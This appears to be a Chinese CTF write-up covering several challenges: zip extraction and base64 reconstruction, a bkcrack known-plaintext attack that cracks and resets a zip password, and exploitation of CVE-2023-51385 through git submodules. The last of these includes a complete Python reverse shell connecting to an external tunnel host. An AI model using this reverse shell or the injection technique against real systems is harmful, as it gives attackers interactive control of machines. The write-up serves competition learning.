MISC


谁偷吃了我的外卖

1
2
# 分离出zip
binwalk -e '/root/Desktop/小凯.jpg' --run-as=root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 复原zip
import zipfile
import base64

zipf = zipfile.ZipFile(r'C:\Users\HK\Desktop\外卖箱.zip')
file_dict = {}

# 提取base64
for item in zipf.infolist():
file_name = item.filename.encode('cp437').decode('gbk')
if '用户' in file_name:
id, base = file_name[6:].split('_')
file_dict[int(id)] = base[:-3]

out = ''
for id in sorted(file_dict.keys()):
out += file_dict[id]

# 补齐还原base64
out = 'UEsD' + out.replace('-', '/').strip()

with open('out.zip','wb') as f:
f.write(base64.b64decode(out))

md文档获取flag1
根据 钥匙.png bandzip压缩方式 压缩出明文zip

1
2
3
4
5
6
# bkcrack明文爆破
bkcrack -C './外卖箱.zip' -c '外卖箱/flag/钥匙.png' -P './钥匙.zip' -p '钥匙.png'
>>> 48ff002a 56e00484 380c5c49

# 重置密码
bkcrack -C './外卖箱.zip' -k 48ff002a 56e00484 380c5c49 -U './out.zip' 123456

使用 123456 解压出 txt.galf,将内容逆序获得 flag2,拼接得到flag

modules

CVE编号:CVE-2023-51385
gitee 构建项目,同时建立子模块,由于不能插入 ‘/‘ 字符,反弹python shell

1
2
3
4
5
6
7
8
import socket,subprocess,os
# 花生壳内网穿透工具 86s2d65770.zicp.fun:38380
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("86s2d65770.zicp.fun",38380))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);

部署仓库进行命令执行

1
2
# 获取flag
cd ../../ && cat flag

可信计算


可信计算1 && 可信计算2

1
2
3
# 非预期
find / -name "*flag*"
cat /root/cube-shell/instance/flag_server/flag.list